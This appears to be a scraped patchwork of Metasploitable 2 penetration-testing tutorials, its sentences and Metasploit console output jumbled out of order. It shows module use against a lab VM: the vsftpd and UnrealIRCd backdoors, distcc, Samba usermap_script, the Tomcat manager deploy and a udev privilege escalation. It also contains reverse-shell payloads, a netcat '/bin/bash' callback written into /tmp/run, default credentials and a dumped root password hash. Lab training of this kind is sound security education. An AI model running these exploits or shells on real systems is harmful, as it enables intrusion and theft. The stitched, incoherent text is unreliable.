RHOSTS yes The target address range or CIDR identifier
Step 2: Vulnerability Assessment. In this article, we'll look at how this framework within Kali Linux can be used to attack a Windows 10 machine. You can do so by following the path: Applications Exploitation Tools Metasploit. RPORT 21 yes The target port
This is the action page.
DATABASE template1 yes The database to authenticate against
USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
msf exploit(postgres_payload) > show options
PASSWORD no The Password for the specified username
Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1. VHOST no HTTP server virtual host
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154
msf exploit(java_rmi_server) > exploit
[*] Started reverse handler on 192.168.127.159:8888
Exploit target:
Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . Redirect the results of the uname -r command into file uname.txt. RMI method calls do not support or need any kind of authentication. [*] Auxiliary module execution completed, msf > use exploit/unix/webapp/twiki_history
The nmap command uses a few flags to conduct the initial scan. PASSWORD no The Password for the specified username
Alternatively, you can also use VMWare Workstation or VMWare Server. To build a new virtual machine, open VirtualBox and click the New button.
This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. RHOST yes The target address
In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. 0 Automatic Target
Armitage is very user friendly. -- ----
Have you used Metasploitable to practice Penetration Testing?
In this lab we learned how to perform reconnaissance on a target to discover potential system vulnerabilities. [*] Started reverse handler on 192.168.127.159:4444
Name Disclosure Date Rank Description
Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers.
This document will continue to expand over time as many of the less obvious flaws with this platform are detailed.
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
0 Automatic
Lets see what that implies first: TCP Wrapper is a host-based network access control system that is used in operating systems such as Linux or BSD for filtering network access to Internet Protocol (IP) servers. msf exploit(unreal_ircd_3281_backdoor) > show options
[*] A is input
msf exploit(tomcat_mgr_deploy) > show option
Name Current Setting Required Description
But unfortunately everytime i perform scan with the . Name Current Setting Required Description
Same as credits.php.
Part 2 - Network Scanning. For network clients, it acknowledges and runs compilation tasks. Metasploitable 2 is a straight-up download. [*] Writing to socket B
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Leave blank for a random password. An exploit executes a sequence of commands that target a specific vulnerability found in a system or application to provide the attacker with access to the system. PASSWORD no The Password for the specified username. What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. [*] Accepted the second client connection
The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300
[*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war
Module options (exploit/multi/http/tomcat_mgr_deploy):
URIPATH no The URI to use for this exploit (default is random)
A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module.
RHOST yes The target address
For instance, to use native Windows payloads, you need to pick the Windows target. Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. The interface looks like a Linux command-line shell. msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159
Do you have any feedback on the above examples? A Computer Science portal for geeks.
Module options (auxiliary/scanner/telnet/telnet_version):
USERNAME no The username to authenticate as
Step 4: Display Database Version. This must be an address on the local machine or 0.0.0.0
Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary.
---- --------------- -------- -----------
It is a pre-built virtual machine, and therefore it is simple to install.
Once you open the Metasploit console, you will get to see the following screen. Display the contents of the newly created file.
Meterpreter sessions will autodetect
We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. DATABASE template1 yes The database to authenticate against
Metasploitable 2 is a deliberately vulnerable Linux installation.
[*] Reading from socket B
Id Name
Id Name
RHOST 192.168.127.154 yes The target address
So weregoing to connect to it using vncviewer: Connected to RFB server, using protocol version 3.3, Desktop name roots X desktop (metasploitable:0). The next service we should look at is the Network File System (NFS).
msf exploit(twiki_history) > set payload cmd/unix/reverse
whoami
msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). DB_ALL_PASS false no Add all passwords in the current database to the list
This is the action page, SQL injection and XSS via the username, signature and password field, Contains directories that are supposed to be private, This page gives hints about how to discover the server configuration, Cascading style sheet injection and XSS via the color field, Denial of Service if you fill up the logXSS via the hostname, client IP, browser HTTP header, Referer HTTP header, and date fields, XSS via the user agent string HTTP header.
Be sure your Kali VM is in "Host-only Network" before starting the scan, so you can communicate with your target Metasploitable VM.
TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). msf auxiliary(telnet_version) > show options
msf exploit(postgres_payload) > use exploit/linux/local/udev_netlink
Just enter ifconfig at the prompt to see the details for the virtual machine.
[*], msf > use exploit/multi/http/tomcat_mgr_deploy
root.
0 Automatic
0 Linux x86
In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. So lets try out every port and see what were getting. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack.
BLANK_PASSWORDS false no Try blank passwords for all users
Enable hints in the application by click the "Toggle Hints" button on the menu bar: The Mutillidae application contains at least the following vulnerabilities on these respective pages: SQL Injection on blog entrySQL Injection on logged in user nameCross site scripting on blog entryCross site scripting on logged in user nameLog injection on logged in user nameCSRFJavaScript validation bypassXSS in the form title via logged in usernameThe show-hints cookie can be changed by user to enable hints even though they are not supposed to show in secure mode, System file compromiseLoad any page from any site, XSS via referer HTTP headerJS Injection via referer HTTP headerXSS via user-agent string HTTP header, Contains unencrytped database credentials. This document outlines many of the security flaws in the Metasploitable 2 image. USER_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_user.txt no File containing users, one per line
Andrea Fortuna. Its GUI has three distinct areas: Targets, Console, and Modules. [*] Started reverse double handler
LHOST => 192.168.127.159
The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities.
Step 1: Setup DVWA for SQL Injection. Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version
Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2.
This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The account root doesnt have a password. whoami
NOTE: Compatible payload sets differ on the basis of the target selected.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
Metasploit has a module to exploit this in order to gain an interactive shell, as shown below.
From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner.
RHOST => 192.168.127.154
Lets first see what relevant information we can obtain using the Tomcat Administration Tool Default Access module: With credentials, we are now able to use the Apache Tomcat Manager Application Deployer Authenticated Code Execution exploit: You may use this module to execute a payload on Apache Tomcat servers that have a manager application that is exposed. UnrealIRCD 3.2.8.1 Backdoor Command Execution | Metasploit Exploit Database (DB)
[*] Successfully sent exploit request
Description.
[*] Found shell. If so please share your comments below. Matching Modules
msf exploit(usermap_script) > exploit
Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. : CVE-2009-1234 or 2010-1234 or 20101234) Stop the Apache Tomcat 8.0 Tomcat8 service.
LPORT 4444 yes The listen port
msf exploit(twiki_history) > show options
Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. payload => cmd/unix/reverse
[*] Sending backdoor command
[*] Undeploying RuoE02Uo7DeSsaVp7nmb79cq
now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.154
It aids the penetration testers in choosing and configuring of exploits.
Within Metasploitable edit the following file via command: Next change the following line then save the file: In Kali Linux bring up the Mutillidae web application in the browser as before and click the Reset DB button to re-initialize the database. ===================
The following sections describe the requirements and instructions for setting up a vulnerable target. Description: In this video I will show you how to exploit remote vulnerabilities on Metasploitable -2 . Relist the files & folders in time descending order showing the newly created file.
RHOST yes The target address
[*] 192.168.127.154:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
This must be an address on the local machine or 0.0.0.0
PASSWORD => tomcat
The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. msf exploit(distcc_exec) > exploit
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
Access To access the vulnerable application, point your browser on Metasploitable3 to http://localhost:8282/struts2-rest-showcase To access the Apache Tomcat Manager, point your browser on Metasploitable3 to http://localhost:8282.
Lets go ahead. Between November 2009 and June 12, 2010, this backdoor was housed in the Unreal3.2.8.1.tar.gz archive. More investigation would be needed to resolve it. Id Name
(Note: See a list with command ls /var/www.)
Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. The primary administrative user msfadmin has a password matching the username. USERNAME postgres yes The username to authenticate as
PASSWORD => postgres
-- ----
---- --------------- -------- -----------
echo 'nc -e /bin/bash 192.168.127.159 5555' >> /tmp/run, nc: connect to 192.168.127.159 5555 from 192.168.127.154 (192.168.127.154) 35539 [35539]
rapid7/metasploitable3 Wiki. 0 Linux x86
USERNAME postgres no A specific username to authenticate as
---- --------------- -------- -----------
Thus, we can infer that the port is TCP Wrapper protected.
Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. SRVPORT 8080 yes The local port to listen on. ================
TOMCAT_USER no The username to authenticate as
Cross site scripting on the host/ip fieldO/S Command injection on the host/ip fieldThis page writes to the log. Help Command A command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 is exploited by this module while using the non-default Username Map Script configuration option. Name Current Setting Required Description
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154
The ++ signifies that all computers should be treated as friendlies and be allowed to . msf auxiliary(tomcat_administration) > show options
Module options (exploit/unix/webapp/twiki_history):
We can escalate our privileges using the earlier udev exploit, so were not going to go over it again. Module options (auxiliary/scanner/smb/smb_version):
URI yes The dRuby URI of the target host (druby://host:port)
To transfer commands and data between processes, DRb uses remote method invocation (RMI).
For this, Metasploit has an exploit available: A documented security flaw is used by this module to implement arbitrary commands on any system operating distccd. [*] Auxiliary module execution completed, msf > use exploit/multi/samba/usermap_script
Next, place some payload into /tmp/run because the exploit will execute that. msf exploit(usermap_script) > set RHOST 192.168.127.154
The-e flag is intended to indicate exports: Oh, how sweet! 192.168.56/24 is the default "host only" network in Virtual Box. Starting Nmap 6.46 (, msf > search vsftpd
The results from our nmap scan show that the ssh service is running (open) on a lot of machines.
msf exploit(distcc_exec) > set payload cmd/unix/reverse
[*] Command shell session 4 opened (192.168.127.159:8888 -> 192.168.127.154:33966) at 2021-02-06 23:51:01 +0300
Combining Nmap with Metasploit for a more detailed and in-depth scan on the client machine.